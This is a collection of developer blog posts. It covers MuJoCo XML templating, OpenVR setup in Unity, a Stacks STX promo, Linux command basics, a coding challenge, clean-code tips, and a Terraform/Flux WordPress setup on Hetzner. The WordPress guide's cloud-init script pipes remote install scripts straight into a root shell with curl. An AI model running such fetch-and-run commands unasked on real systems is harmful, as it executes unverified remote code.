### The Basics of React
At a high level, React provides a simple framework with a custom syntax called JSX to specify components. Components are self-contained units that maintain their own logic and markup. Components can also consist of other components, thus creating a hierarchy.
This creates a tree structure that mimics the actual Document Object Model (DOM) in the browser. To generate the final HTML, React uses a “render” method on the root component, which recursively calls the “render” method on all nested components.
Of course, modern React is much more complex than this, but this covers the basics and is all we need.
### Mimicking React in Python
MuJoCo is written in C/C++ and provides native Python bindings for quick prototyping. As I did not plan to recreate JSX inside of Python, I simply opted for the multiline string using placeholders.
In the example MuJoCo scene above, this would translate to:
```python
XML = """
<mujoco model="simple_scene">
<worldbody>
{objects}
</worldbody>
</mujoco>
"""
```
Fortunately, Python comes with a string formatting convention, allowing us to use named placeholders (`{objects}` in this example) for future replacement using the `format(object="string for replacement")` method call on the template string.
This looks promising.
Similarly, we can create an XML template for the objects. Here is an example template string that allows for custom size settings for a box object:
```python
XML = """
<body name="{name}" pos="0 0 0.1">
<freejoint />
<geom name="box_geom" type="box" size="{size}"/>
</body>
"""
```
Next, we need an interface for each component to make them share a method required for rendering each component:
```python
from abc import ABC, abstractmethod
class MjXML(ABC):
@abstractmethod
def to_xml(self) -> str:
pass
```
In the final XML assembly step, we will call on each component the `to_xml` method, which will output the resulting string for each component that will be used in the template.
Next, we implement the corresponding component for the example object above:
```python
XML = """
<body name="{name}" pos="0 0 0.1">
<freejoint />
<geom name="box_geom" type="box" size="{size}"/>
</body>
"""
class SimpleBox(MjXML):
def __init__(self, name: str, size: float):
self.name = name
self.size = size
def to_xml(self):
box_xml = XML.format(name=self.name, size=self.size)
return box_xml
```
Finally, we implement the component for the scene:
```python
XML = """
<mujoco model="simple_scene">
<worldbody>
{objects}
</worldbody>
</mujoco>
"""
class SimpleScene(MjXML):
def __init__(self, object_list: List[MjXML]):
self.object_list = object_list
def to_xml(self):
obj_xml = " ".join([obj.to_xml() for obj in self.object_list])
full_xml = XML.format(objects=obj_xml)
return full_xml
```
Essentially, this is already a minimal workable example.
To actually simulate, we would need to construct the model and data of MuJoCo using our constructed XML string. As this article is not about MuJoCo, I have excluded the simulation part from this code sample.
### Possible Extensions
While this example covers the basic concept, my specific use case required additional features such as dynamic loading of assets, randomizing names, and custom collision logic. Let me know, if you are interested in more complex physical simulations.
However, these additional features might overcomplicate the core message I want to convey: if you are working with static markup that needs dynamic behavior, consider using a component-based rendering mechanism similar to React. It can simplify development and enhance the flexibility of your applications. | freiberg-roman |
1,890,192 | SteamVR Overlay with Unity: Initialize OpenVR | Create new script Create a folder named Scripts inside Assets. Then create a file named... | 27,740 | 2024-06-16T10:57:44 | https://dev.to/kurohuku/part-2-initialize-openvr-4gfh | unity3d, steamvr, vr, openvr | ## Create new script
Create a folder named Scripts inside Assets. Then create a file named **WatchOverlay.cs** inside the Scripts folder. We will add our overlay code to this script.

Copy the following code to **WatchOverlay.cs**.
```cs
using UnityEngine;
public class WatchOverlay : MonoBehaviour
{
private void Start()
{
}
}
```
## Put the script to the scene
In the hierarchy window, **right click > Create Empty**.
Change the object name to **WatchOverlay**, then drag the **WatchOverlay.cs** file from the project window to the newly created object.

## Add using directive
Add using Valve.VR to **WatchOverlay.cs** to use the OpenVR API. This namespace is included in the SteamVR Plugin.
```diff
using UnityEngine;
+ using Valve.VR;
public class WatchOverlay : MonoBehaviour
{
private void Start()
{
}
}
```
## Initialize OpenVR
Initialize OpenVR with [Init()](https://valvesoftware.github.io/steamvr_unity_plugin/api/Valve.VR.OpenVR.html#Valve_VR_OpenVR_Init_Valve_VR_EVRInitError__Valve_VR_EVRApplicationType_System_String_) to use the API. (read the [wiki](https://github.com/ValveSoftware/openvr/wiki/API-Documentation#initialization-and-cleanup) for details)
```diff
using UnityEngine;
using Valve.VR;
public class WatchOverlay : MonoBehaviour
{
private void Start()
{
+ var error = EVRInitError.None;
+ OpenVR.Init(ref error, EVRApplicationType.VRApplication_Overlay);
}
}
```
We pass two arguments to `Init()`.
The first argument is a reference. If an error occurs during initialization, `Init()` sets the variable's value referenced to the error. All errors are defined in [EVRInitError](https://valvesoftware.github.io/steamvr_unity_plugin/api/Valve.VR.EVRInitError.html).
The second argument is the application type, which will be `EVRApplicationType.VRApplication_Overlay` for overlay applications. All application types are defined in [EVRApplicationType](https://valvesoftware.github.io/steamvr_unity_plugin/api/Valve.VR.EVRApplicationType.html).
If the application has been initialized as an overlay, it can be run with other VR applications at the same time.
## Initialize error handling
Add error handling.
```diff
using UnityEngine;
using Valve.VR;
+ using System;
public class WatchOverlay : MonoBehaviour
{
private void Start()
{
var error = EVRInitError.None;
OpenVR.Init(ref error, EVRApplicationType.VRApplication_Overlay);
+ if (error != EVRInitError.None)
+ {
+ throw new Exception("Failed to initialize OpenVR: " + error);
+ }
}
}
```
If the initialization succeeds, the error value will remain `EVRInitError.None`. We will throw an `Exception` if this is not the case. Note that you need to add `using System` to use `Exception`.
## If OpenVR is already initialized
If OpenVR has already been initialized, skip the initialization.
```diff
using UnityEngine;
using Valve.VR;
using System;
public class WatchOverlay : MonoBehaviour
{
private void Start()
{
+ if (OpenVR.System != null) return;
var error = EVRInitError.None;
OpenVR.Init(ref error, EVRApplicationType.VRApplication_Overlay);
if (error != EVRInitError.None)
{
throw new Exception("Failed to initialize OpenVR: " + error);
}
}
}
```
If OpenVR has not been initialized, `OpenVR.System` is `null`.
The API is broken down into parts such as the following. They are `null` before initialization.
- OpenVR.System
- OpenVR.Chaperone
- OpenVR.Compositor
- OpenVR.Overlay
- OpenVR.RenderModels
- OpenVR.Screenshots
- OpenVR.Input
## Cleanup
Add cleanup to dispose of the initialized OpenVR.
Call [Shutdown()](https://valvesoftware.github.io/steamvr_unity_plugin/api/Valve.VR.OpenVR.html#Valve_VR_OpenVR_Shutdown) at the end of the program. (read the [wiki](https://github.com/ValveSoftware/openvr/wiki/API-Documentation#initialization-and-cleanup) for details)
```diff
using UnityEngine;
using Valve.VR;
using System;
public class WatchOverlay : MonoBehaviour
{
private void Start()
{
if (OpenVR.System != null) return;
var error = EVRInitError.None;
OpenVR.Init(ref error, EVRApplicationType.VRApplication_Overlay);
if (error != EVRInitError.None)
{
throw new Exception("Failed to initialize OpenVR: " + error);
}
}
+ private void OnDestroy()
+ {
+ if (OpenVR.System != null)
+ {
+ OpenVR.Shutdown();
+ }
+ }
}
```
## Check the initialization works
Let's access the initialized OpenVR API.
```diff
using UnityEngine;
using Valve.VR;
using System;
public class WatchOverlay : MonoBehaviour
{
private void Start()
{
if (OpenVR.System != null) return;
+ Debug.Log(OpenVR.Overlay);
var error = EVRInitError.None;
OpenVR.Init(ref error, EVRApplicationType.VRApplication_Overlay);
if (error != EVRInitError.None)
{
throw new Exception("Failed to initialize OpenVR: " + error);
return;
}
+ Debug.Log(OpenVR.Overlay);
}
private void OnDestroy()
{
if (OpenVR.System != null)
{
OpenVR.Shutdown();
}
}
}
```

We can see that the API is available after initialization.
If the SteamVR has not launched, it should be automatically launched by `Init()`.

---
### Optional: Initialize OpenVR by SteamVR Plugin setting
We don’t use it in this tutorial, but the SteamVR Unity Plugin has an automatic initialization setting.
Check **Initialize XR on Project Settings > Startup In XR Plug-in Management**.

Select Overlay as the **Application Typ**e in the **OpenVR** setting.
---
Delete the `Debug.Log()`.
```diff
private void Start()
{
if (OpenVR.System != null) return;
- Debug.Log(OpenVR.Overlay);
var error = EVRInitError.None;
OpenVR.Init(ref error, EVRApplicationType.VRApplication_Overlay);
if (error != EVRInitError.None)
{
throw new Exception("Failed to initialize OpenVR: " + error);
return;
}
- Debug.Log(OpenVR.Overlay);
}
```
## Organize code
We have initialized and cleaned up OpenVR. Let’s organize the code here.
This tutorial will organize code periodically to keep methods small for clarity.
### Initialize
Move the initialization code into `InitOpenVR()`.
```diff
using UnityEngine;
using Valve.VR;
using System;
public class WatchOverlay : MonoBehaviour
{
private void Start()
{
+ InitOpenVR();
- if (OpenVR.System != null) return;
-
- var error = EVRInitError.None;
- OpenVR.Init(ref error, EVRApplicationType.VRApplication_Overlay);
- if (error != EVRInitError.None)
- {
- throw new Exception("Failed to initialize OpenVR: " + error);
- }
}
private void OnDestroy()
{
if (OpenVR.System != null)
{
OpenVR.Shutdown();
}
}
+ private void InitOpenVR()
+ {
+ if (OpenVR.System != null) return;
+
+ var error = EVRInitError.None;
+ OpenVR.Init(ref error, EVRApplicationType.VRApplication_Overlay);
+ if (error != EVRInitError.None)
+ {
+ throw new Exception("Failed to initialize OpenVR: " + error);
+ }
+ }
}
```
---
### Optional: If you want to use `return` instead of `throw`
This tutorial uses `throw` for readability of error handling. If you prefer `return` to return an error code or a bool value, replace the error handling code with the following.
```cs
// Return error code
private bool InitOpenVR()
{
if (OpenVR.System != null) return;
var error = EVRInitError.None;
OpenVR.Init(ref error, EVRApplicationType.VRApplication_Overlay);
if (error != EVRInitError.None)
{
Debug.LogError("Failed to initialize OpenVR: " + error);
}
return error;
}
```
```cs
// Return bool value
private bool InitOpenVR()
{
if (OpenVR.System != null) return;
var error = EVRInitError.None;
OpenVR.Init(ref error, EVRApplicationType.VRApplication_Overlay);
if (error != EVRInitError.None)
{
Debug.LogError("Failed to initialize OpenVR: " + error);
return false;
}
return true;
}
```
---
### Cleanup
Similarly, move the cleanup code to `ShutdownOpenVR()`.
```diff
using UnityEngine;
using Valve.VR;
using System;
public class WatchOverlay : MonoBehaviour
{
private void Start()
{
InitOpenVR();
}
private void OnDestroy()
{
- if (OpenVR.System != null)
- {
- OpenVR.Shutdown();
- }
+ ShutdownOpenVR();
}
private void InitOpenVR()
{
if (OpenVR.System != null) return;
var error = EVRInitError.None;
OpenVR.Init(ref error, EVRApplicationType.VRApplication_Overlay);
if (error != EVRInitError.None)
{
throw new Exception("Failed to initialize OpenVR: " + error);
}
}
+ private void ShutdownOpenVR()
+ {
+ if (OpenVR.System != null)
+ {
+ OpenVR.Shutdown();
+ }
+ }
}
```
## Final code
```cs
using UnityEngine;
using Valve.VR;
using System;
public class WatchOverlay : MonoBehaviour
{
private void Start()
{
InitOpenVR();
}
private void OnDestroy()
{
ShutdownOpenVR();
}
private void InitOpenVR()
{
if (OpenVR.System != null) return;
var error = EVRInitError.None;
OpenVR.Init(ref error, EVRApplicationType.VRApplication_Overlay);
if (error != EVRInitError.None)
{
throw new Exception("Failed to initialize OpenVR: " + error);
}
}
private void ShutdownOpenVR()
{
if (OpenVR.System != null)
{
OpenVR.Shutdown();
}
}
}
```
Here, we have initialized and cleaned up OpenVR. Now we can access OpenVR APIs like overlay. In the next part, we will create an overlay with this API.
```
| kurohuku |
1,890,206 | Stacks STX: Revolutionizing Blockchain with Bitcoin | Introduction The blockchain technology landscape is vast and continuously evolving.... | 27,673 | 2024-06-16T10:55:58 | https://dev.to/rapidinnovation/stacks-stx-revolutionizing-blockchain-with-bitcoin-48g9 | ## Introduction
The blockchain technology landscape is vast and continuously evolving. Among
the myriad of projects, Stacks (STX) stands out with its unique approach and
contributions.
## What is Stacks STX?
Stacks (STX) is a blockchain solution designed to bring smart contracts and
decentralized applications (DApps) to Bitcoin. It leverages Bitcoin’s security
while enabling advanced functionalities.
## How Does Stacks STX Work?
Stacks operates on the Proof of Transfer (PoX) consensus mechanism, connecting
it to Bitcoin. This allows STX holders to earn Bitcoin through a process
called Stacking.
## Types of Applications Built on Stacks
Developers can build decentralized apps (DApps) and smart contracts using the
Clarity language, which ensures predictability and security.
## Benefits of Using Stacks STX
Stacks enables a user-owned internet and leverages Bitcoin as a base layer,
providing unmatched security and stability for decentralized applications.
## Challenges in Adopting Stacks STX
Technical and scalability issues, along with market adoption and competition,
are significant challenges that Stacks faces in its growth journey.
## Future Prospects of Stacks STX
With a compelling roadmap and potential market growth, Stacks aims to enhance
its DeFi capabilities and expand its NFT offerings.
## Real-World Examples of Stacks STX Implementation
Successful DApps like Boom and Arkadiko showcase the potential of Stacks in
various sectors, including social media and decentralized finance.
## In-Depth Explanations
Stacks’ technical architecture and its comparison with other blockchain
solutions highlight its unique integration with Bitcoin and the advantages of
the Clarity language.
## Comparisons & Contrasts
Stacks vs. Ethereum and other Layer 1 blockchains reveal distinct differences
in consensus mechanisms, smart contract languages, and overall approach.
## Why Choose Rapid Innovation for Stacks STX Implementation and Development
Rapid Innovation offers deep expertise in blockchain technology and provides
customized solutions tailored to diverse industries, ensuring optimized
performance and security.
## Conclusion
Stacks STX brings significant innovations to the blockchain space by enabling
smart contracts on Bitcoin. Rapid innovation in blockchain technology is
crucial for its evolution and broader adoption.
Drive innovation with intelligent AI and secure blockchain technology! 🌟 Check
out how we can help your business grow!
[Blockchain App Development](https://www.rapidinnovation.io/service-
development/blockchain-app-development-company-in-usa)
[Blockchain App Development](https://www.rapidinnovation.io/service-
development/blockchain-app-development-company-in-usa)
[AI Software Development](https://www.rapidinnovation.io/ai-software-
development-company-in-usa)
[AI Software Development](https://www.rapidinnovation.io/ai-software-
development-company-in-usa)
## URLs
* <http://www.rapidinnovation.io/post/what-is-stacks-stx>
## Hashtags
#BlockchainInnovation
#StacksSTX
#SmartContracts
#BitcoinIntegration
#DecentralizedApps
| rapidinnovation | |
1,890,204 | How to Analyze Instagram Likes: A Simple Python App - part 1 | How to Analyze Instagram Likes: A Simple Python App - part 1 Do you want to better understand which... | 0 | 2024-06-16T10:41:56 | https://dev.to/apiharbor/how-to-analyze-instagram-likes-a-simple-python-app-2fl1 | python, tutorial, programming | **How to Analyze Instagram Likes: A Simple Python App - part 1**
Do you want to better understand which Instagram posts attract the most attention? In my latest article on [usemyapi.com](https://usemyapi.com/articles/how-to-analyze-instagram-likes-a-simple-python-app/), I show you how to build a simple application in Python to analyze Instagram likes.
You will learn how to:
- Gain access to the Instagram API
- Establish a connection with the API
- Write a Python class that communicates with the API
- Create a working example that operates on the retrieved data
Don't miss this opportunity to enhance your programming skills and gain valuable insights into Instagram user behavior.
👉 [Read the full article here](https://usemyapi.com/articles/how-to-analyze-instagram-likes-a-simple-python-app/)
| apiharbor |
1,890,190 | Basic Linux Command used in Pentesting and Other Cyber Security Domains | File Commands cd - change directory pwd - print working directory ls - list files and... | 0 | 2024-06-16T10:40:07 | https://dev.to/akash32755/basic-linux-command-used-in-pentesting-and-other-cyber-security-domains-1kll | linux, command, learning | ## File Commands
1. `cd` - change directory
2. `pwd` - print working directory
3. `ls` - list files and directory
4. `mkdir` - make n directories
5. `rm` - remove (delete) a file or directory
6. `rmdir` - remove (delete) an empty directory
7. `cp` - copy a file
8. `mv` - move or rename a file
9. `touch` - create a new empty file
10. `echo` - write to a file
## SSH Commands
1. `ssh` - connect to a remote host
2. `ssh-keygen` - generate a new SSH key pair
3. `ssh-copy-id` - copy SSH keys to a remote host
4. `ssh-config` - configure SSH client settings
5. `ssh-agent` - manage SSH keys for authentication
## Network Commands
1. `ping` - test network connectivity
2. `ifconfig` - configure network interface
3. `ip` - manage network interface and addresses
4. `netstat` - display network socket statistics
5. `ssh-tunnel` - create a secure tunnel for network traffic
6. `curl` - transfer data from a URL
7. `wget` - download file from URL
8. `dig` - perform DNS lookups
9. `nslookup` - perform DNS lookups
10. `route` - manage network routes | akash32755 |
1,890,074 | Finding things | Weekly Challenge 273 Each week Mohammad S. Anwar sends out The Weekly Challenge, a chance... | 0 | 2024-06-16T10:38:36 | https://dev.to/simongreennet/finding-things-1f34 | perl, python, theweeklychallenge | ## Weekly Challenge 273
Each week Mohammad S. Anwar sends out [The Weekly Challenge](https://theweeklychallenge.org/), a chance for all of us to come up with solutions to two weekly tasks. My solutions are written in Python first, and then converted to Perl. It's a great way for us all to practice some coding.
[Challenge](https://theweeklychallenge.org/blog/perl-weekly-challenge-273/), [My solutions](https://github.com/manwar/perlweeklychallenge-club/tree/master/challenge-273/sgreen)
## Task 1: Percentage of Character
### Task
You are given a string, `$str` and a character `$char`.
Write a script to return the percentage, nearest whole, of given character in the given string.
### My solution
Let's talk about 'nearest integer', and rounding. When you go to supermarket and something costs 45¢, you generally will be charged 50¢ if paying with cash and your currency doesn't have a 5¢ coin. This is called [cash rounding](https://en.wikipedia.org/wiki/Cash_rounding), and probably what you were taught at school.
Python uses [bankers rounding](https://rounding.to/understanding-the-bankers-rounding/), where numbers are rounded to the nearest even. Therefore both 35¢ and 45¢ would be rounded to 40¢, while the sum remains the same (80¢).
This task is ambiguous as it does not mention which method to use when the percentage is a half figure. I've used the cash rounding method, as the sixth example supports this.
For this task, I take the number of characters that occur in the length of the string divided by the length of the string multiplied by 100 + 0.5 (for the rounding).
```python
def char_percentage(s: str, char: str) -> int:
return floor(s.count(char) / len(s) * 100 + 0.5)
```
The Perl solution is a bit more involved, as I don't believe there is a way to count the number of characters in a string. For this solution, I loop through each character and increase the `occurrences` value if is `char`.
```perl
my $occurrences = 0;
for my $pos ( 0 .. length($str) - 1 ) {
if ( substr( $str, $pos, 1 ) eq $char ) {
$occurrences++;
}
}
say int( $occurrences / length($str) * 100 + 0.5 );
```
### Examples
```bash
$ ./ch-1.py perl e
25
$ ./ch-1.py java a
50
$ ./ch-1.py python m
0
$ ./ch-1.py ada a
67
$ ./ch-1.py ballerina l
22
$ ./ch-1.py analitik k
13
```
## Task 2: B After A
### Task
You are given a string, `$str`.
Write a script to return `true` if there is at least one `b`, and no `a` appears after the first `b`.
### My solution
There are two likely ways to perform this task. One would be to take the position of last `a` (or -1 if there is no `a`) and check this is less than the position of the first `b`.
The second option is to use regular expressions. This is the approach that I took. The regexp I used is `^[^b]*b[^a]*$`. This matches zero or characters other than `b`, a `b` and then makes sure there are no `a`s after that.
### Examples
```bash
$ ./ch-2.py aabb
True
$ ./ch-2.py abab
False
$ ./ch-2.py aaa
False
$ ./ch-2.py bbb
True
```
| simongreennet |
1,890,203 | Mastering the Art of Writing Clean Code: Best Practices for Developers | As developers, we all strive to write code that is not only functional but also clean, readable, and... | 0 | 2024-06-16T10:38:12 | https://dev.to/alight_motionpromodapk/mastering-the-art-of-writing-clean-code-best-practices-for-developers-2add | webdev, javascript, beginners, tutorial | As developers, we all strive to write code that is not only functional but also clean, readable, and maintainable. Writing clean code is an essential skill that separates good developers from great ones. Clean code is like a well-organized book - easy to read, easy to understand, and a joy to work with. Here are some best practices to help you become a master at writing clean code.
**1. Follow Naming Conventions**
Imagine reading a story where characters are named A, B, and C. Confusing, right? The same goes for code. Use meaningful, descriptive names for variables, functions, and classes. Instead of x, use customerName or orderID. Clear names make your code self-explanatory and save you from future headaches.
**2. Keep Functions Small and Focused**
Think of functions as building blocks. Each one should do one thing and do it well. Large, monolithic functions are like multi-tools - they can do many things but none of them perfectly. Break down complex tasks into smaller, more focused functions. This makes your code easier to read, test, and maintain.
[](https://alightmotionproapk.com/how-to-remove-watermark-in-alight-motion/)
**3. Write Self-Documenting Code**
Your code should be a story that tells itself. While comments are useful, rely on them sparingly. Instead, write code that is so clear it barely needs comments. When comments are necessary, use them to explain the "why," not the "what." This keeps your code clean and your intent clear.
**4. Consistent Indentation and Formatting**
Consistency is key. Just like a well-formatted book, your code should follow a consistent style guide. Whether it's spaces versus tabs or the placement of braces, consistency enhances readability. Most modern IDEs and code editors can help you automate formatting, so take advantage of these tools.
**5. Use Error Handling**
Good error handling is like a safety net for your code. Anticipate potential errors and handle them gracefully. Avoid generic error messages; instead, provide specific, informative messages that help identify and resolve issues quickly. Implement try-catch blocks and validate inputs to prevent unexpected behavior.
**6. Refactor Regularly**
Refactoring is like spring cleaning for your code. Regularly restructuring your code without changing its external behavior keeps it clean and efficient. Look for code smells, such as duplicate code or long methods, and refactor them to improve code quality and maintainability.
**7. Write Unit Tests**
Unit tests are your first line of defense against bugs. They verify that individual parts of your code work as intended. Writing tests helps you catch bugs early and ensures your codebase remains robust. Aim for high test coverage and use testing frameworks relevant to your programming language.
**8. Avoid Global Variables**
Global variables are like the bad apples that spoil the barrel. They can be [accessed and modified from anywhere in the codebase](https://alightmotionproapk.com/), leading to unexpected side effects. Instead, use local variables and pass parameters to functions. This keeps your code modular and predictable.
**9. Adopt SOLID Principles**
SOLID principles are your roadmap to clean, maintainable, and scalable code. These guidelines promote good object-oriented design:
- Single Responsibility Principle: A class should have one, and only one, reason to change.
- Open/Closed Principle: Software entities should be open for extension but closed for modification.
- Liskov Substitution Principle: Subtypes must be substitutable for their base types.
- Interface Segregation Principle: No client should be forced to depend on methods it does not use.
- Dependency In
**10. Seek Feedback and Continuously Improve**
Feedback is the breakfast of champions. Code reviews are an excellent way to receive constructive criticism and improve your code. Foster a culture of open, constructive feedback within your team. Learn from your mistakes, stay updated with best practices, and continuously strive to enhance your coding skills.
By following these best practices, you can elevate your code from functional to fantastic. Clean code not only makes your life easier but also benefits your team and future developers who may work on your codebase. Happy coding! | alight_motionpromodapk |
1,889,876 | Create your self-hosted Wordpress for €5 a month, in 30 seconds. | Let's Encrypt gives you free certificates, Hetzner throws you an ARM based hosting for ~€5 month. Infrastructure as Code let's you combine them spin up your website in seconds! | 0 | 2024-06-16T10:36:56 | https://dev.to/gurghet/create-your-self-hosted-wordpress-for-eu5-a-month-in-30-seconds-1kap | wordpress, devops, terraform | ---
title: Create your self-hosted Wordpress for €5 a month, in 30 seconds.
published: true
description: Let's Encrypt gives you free certificates, Hetzner throws you an ARM based hosting for ~€5 month. Infrastructure as Code let's you combine them spin up your website in seconds!
tags: wordpress, devops, terraform
cover_image: https://dev-to-uploads.s3.amazonaws.com/uploads/articles/9trhlboxsjkobbogdoqm.png
---
Ok, start the timer now!
So, I wanted my Wordpress website, but, being a software engineer, I didn't want to pay for it, not anything except the little more than the electricity needed to run a machine. Also, in the past I accidentally the whole website (more than once 🥲). To be clear, I did have the backup, but was too lazy to set up the whole system from scratch. Create the server, spin up the database, run the migration, and all that jazz.
I don't want this to happen ever again 😡!
So I set to myself the rule that whatever I build, even the most innocent Telegram bot to randomly choose the pizza for me (by the way why it doesn't have AI yet to understand my tastes?)

Whatever I build from now on will be IaC, so that if I accidentally the whole cloud account again, I would be able to recreate it with the push of a button (preferably Enter, after issuing the `terraform plan` command).
### The machines

Hetzner is a thrifty hosting, I don't know what that means, let me check the dictionary... oh makes sense. Well you can have the cheapest server for just a few euros a month, I always choose ARM because it seems cooler (figuratively and literally). But Intel has the same prices more or less.
This is the bulk of the expense for our new Wordpress website. Good.
From the hetzner cloud get your read/write API token.
### The machines, as code
We’re going to use Terraform to automate everything. Terraform is an open-source IaC tool that lets you define and provision your infrastructure with code. No more manual setup or hoping you didn’t screw up a step. With Terraform, you get consistency, fewer errors, and version control. Plus, if you need to wipe everything and start fresh, it’s just a couple of commands away. It’s the perfect tool to make sure your infrastructure is always up and running exactly how you want it.
We are going to use some free cloud services, but none of them are necessary, we'll use them for their power to streamline workflow:
I would highly suggest to get a Terraform Cloud account, the free plan can manage 500 resources which is plenty.
Get an account at Doppler.com, it's basically a vault and will be useful to let the secret survive a total wipeout event. It also has a free tier. Get the API token for that as well (read only is fine for now).
Once you have these two create a new folder for this project and make it a git repository. For simplicity I'm going to assume we have a GitHub repo called `wordpress-in-a-jar` (in theory could be GitLab, BitBucket or even hosted on-premise). Yes, get an API token for that too, we'll need that to read/write the repository content.
Create a `main.tf` with the following:
```terraform
terraform {
required_providers {
hcloud = {
source = "hetznercloud/hcloud"
version = "~> 1.0"
}
}
}
provider "hcloud" {
token = var.hcloud_token
}
variable "hcloud_token" {
type = string
}
variable "github_token" {
type = string
}
resource "hcloud_server" "master_node" {
name = "geppetto"
image = "ubuntu-20.04"
server_type = "cax11"
location = "fsn1"
user_data = templatefile("${path.module}/cloud-init.tpl", {
github_token = var.github_token
})
ssh_keys = [data.hcloud_ssh_key.gaia_key.id]
}
output "ip_address" {
value = hcloud_server.master_node.ipv4_address
}
resource "hcloud_ssh_key" "gaia_key" {
name = "Public key of my MacBook Pro (Gaia)"
public_key = "ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQDUAl/qrUV1Nkcd7fPbYAahOAg7p4Nn5+Gkv5Y1lQ/Hm7DqSJki9mmxhtuB/HHV3pZuriAzVJKpee8q8p55EnWhv9xw04oHBXYuJYzkU0kNMiZGMgh/Z8BNkY7QBqitDLOeCNk8gKpKYY0kbINvUaWUNy/JQdmLUu9erCzbkkC0k3KLTlVRr6ZyKuJ6yHX9zYHDJRw9iO+SKA7V/fFVBZtxfYXNN0GaDw6+33z7A7pxbt4wlCuFir2AYTUcU6E2jwrtpq9gwJ0dXiiOW5H/RRGJ1D3VDIcag+Zy7p54K3fH2KOgjujbPq6SS8zJ8/GE+iHCCVxhLnXLin66rRUOIbYVzxPtryX+f4fAxfxTWKLMNWWIVFa11/FOJ792j9MIuYvV/dn3nICsBSQToGQ94A7LoN6W0j4INViHbkzEZVaXQth2urFQ/1NmJGnQkbRR8/XU4ej06WUtie9oGjNY2SXOKVahjBWoybunbtKuv4gtz/XEQKjQDU4T1qXJ6k11jEM= gurghet@Gaia.local"
}
```
That's my actual public key of my laptop, you have to put your own key there, otherwise I'll be able to access your machine :D

#### Cloud-init
The line referring to the `cloud-init.tpl` is calling built-in facility (in most server operating systems) for initializing and configuring cloud instances. It's very complicated how it works, has many modules and functionalities but we'll only use a few.
```yaml
#cloud-config
runcmd:
- export GITHUB_TOKEN=${github_token}
- export HOME=/root
- export XDG_CONFIG_HOME=/root/.config
- curl -sfL https://get.k3s.io | sh - # install k8s
- export KUBECONFIG=/etc/rancher/k3s/k3s.yaml
- until nc -z localhost 6443; do sleep 1; done # wait until k8s is live
- curl https://raw.githubusercontent.com/helm/helm/main/scripts/get-helm-3 | bash # get helm
- curl -s https://fluxcd.io/install.sh | sudo bash
- kubectl apply -f https://github.com/fluxcd/flux2/releases/latest/download/install.yaml --validate=false
- flux bootstrap github --owner=gurghet --repository=wordpress-in-a-jar --branch=master --path=./flux/manifests
```
In the last command we are provisioning the node with flux CD, which will watch every our step in the git repository and reconciliate until the cluster looks exactly like our code.
Similarly here, you should use your github handle instead of `gurghet` and possibly other parameters accordingly. They should all correspond to a real GitHub repository that you created and uploaded, with the above two files inside basically.
## Doing the stuff
Now that your repository is accessible on GitHub, you should actually tell terraform to create all this on Hetzner. You should use the following commands:
```
terraform init
terraform apply -var 'hcloud_token=<your hetzner token>' -var 'github_token=<your github token>'
```
The firt command prepares the terraform environment and initializes the state, the second actually executes the code we wrote. We are manually passing the secrets now, but we will move them away later. We want a push-button experience, no manual secret management required.
The plan will spit out the ip address of your new master node Geppetto, you should then be able to log in with ssh:
```
ssh root@<Geppetto's ip>
```
Once inside you can check that the provisioning was succcessful by tailing the logs, I got:
```
root@geppetto:~# tail -f /var/log/cloud-init-output.log
✔ GitRepository reconciled successfully
◎ waiting for Kustomization "flux-system/flux-system" to be reconciled
✔ Kustomization reconciled successfully
► confirming components are healthy
✔ helm-controller: deployment ready
✔ kustomize-controller: deployment ready
✔ notification-controller: deployment ready
✔ source-controller: deployment ready
✔ all components are healthy
Cloud-init v. 24.1.3-0ubuntu1~20.04.1 finished at Sat, 15 Jun 2024 21:24:35 +0000. Datasource DataSourceHetzner. Up 113.81 seconds
```
If this worked you should find a new commit to your flux. This initial commit contains all the necessary files for Flux to manage your cluster state.
Congratulations! You have a master node waiting for your commands. But let's say you want to call it a day and continue building this tomorrow. You don't need to keep your machine running and spending all your money. You can use `terraform destroy` and then, tomorrow after a coffee, `terraform apply` like above to instantly recreate your cluster.

## Spinning up the wordpress
Everything you write in the `manifests` folder will become true. So let's create a new folder for our Wordpress website: we'll call it "bot-buffet" an all-you-can-click Telegram bot marketplace. We'll use the excellent bitnami helm. This is how the directory structure is looking now:

We are going to need 4 charts here:
1. Bitnami helm repository
2. A namespace for `bot-buffet`
3. *The HelmRelease itself with Wordpress*
4. An Ingress to instruct Traefik to route to it
I said charts but let's actually but everything inside `wordpress-helm.yaml` because doing like this increase coesion and makes it easier to read the code.
The first 2 are straightforward:
```yaml
---
apiVersion: source.toolkit.fluxcd.io/v1
kind: HelmRepository
metadata:
name: bitnami
namespace: flux-system
spec:
interval: 10m
url: https://charts.bitnami.com/bitnami
---
apiVersion: v1
kind: Namespace
metadata:
name: bot-buffet
---
```
The bitnami chart needs some value, in particular we can choose name and email, but importantly we must disable the built-in loadbalancer (we don't want to spend money, remember?) and let's instead use Traefik.
```yaml
---
apiVersion: helm.toolkit.fluxcd.io/v2
kind: HelmRelease
metadata:
name: bot-buffet-wordpress
namespace: bot-buffet
spec:
interval: 5m
chart:
spec:
chart: wordpress
version: "22.4.5"
sourceRef:
kind: HelmRepository
name: bitnami
namespace: flux-system
values:
wordpressUsername: "gurghet"
wordpressEmail: "gurghet@proton.me"
wordpressBlogName: "Bot Buffet"
service:
type: ClusterIP
ingress:
enabled: true
ingressClassName: "traefik"
---
```
Perfect! The last think will be the Ingress entry to tell Traefik to actually send in all the customers that come from port 80.
```yaml
---
apiVersion: networking.k8s.io/v1
kind: Ingress
metadata:
name: bot-buffet-wordpress-ingress
namespace: bot-buffet
annotations:
traefik.ingress.kubernetes.io/router.entrypoints: web
spec:
rules:
- http:
paths:
- path: /
pathType: Prefix
backend:
service:
name: bot-buffet-wordpress
port:
name: http
---
```
The service `bot-buffet-wordpress` is hardcoded because this is what the helm chart above will create.
At this point you just need to commit and push to github this new file. The flux will pick it up and magically create your Wordpress! Try it by pointing your browser to the ip of the machine.

Of course there is a bunch of things that we still need to do: where is my domain with TLS certificate? Where are all the password to access my Wordpress and Database? How do I debug if something goes wrong? Where are my Telegram bots? I'm going to tell you next time.

Did you check the timer? Are we over 30 seconds? Oh crap, ok let's start from scratch. Do the `terraform destroy`. Ok, Ready?
```terraform apply```
Done!
References: https://github.com/gurghet/wordpress-in-a-jar | gurghet |
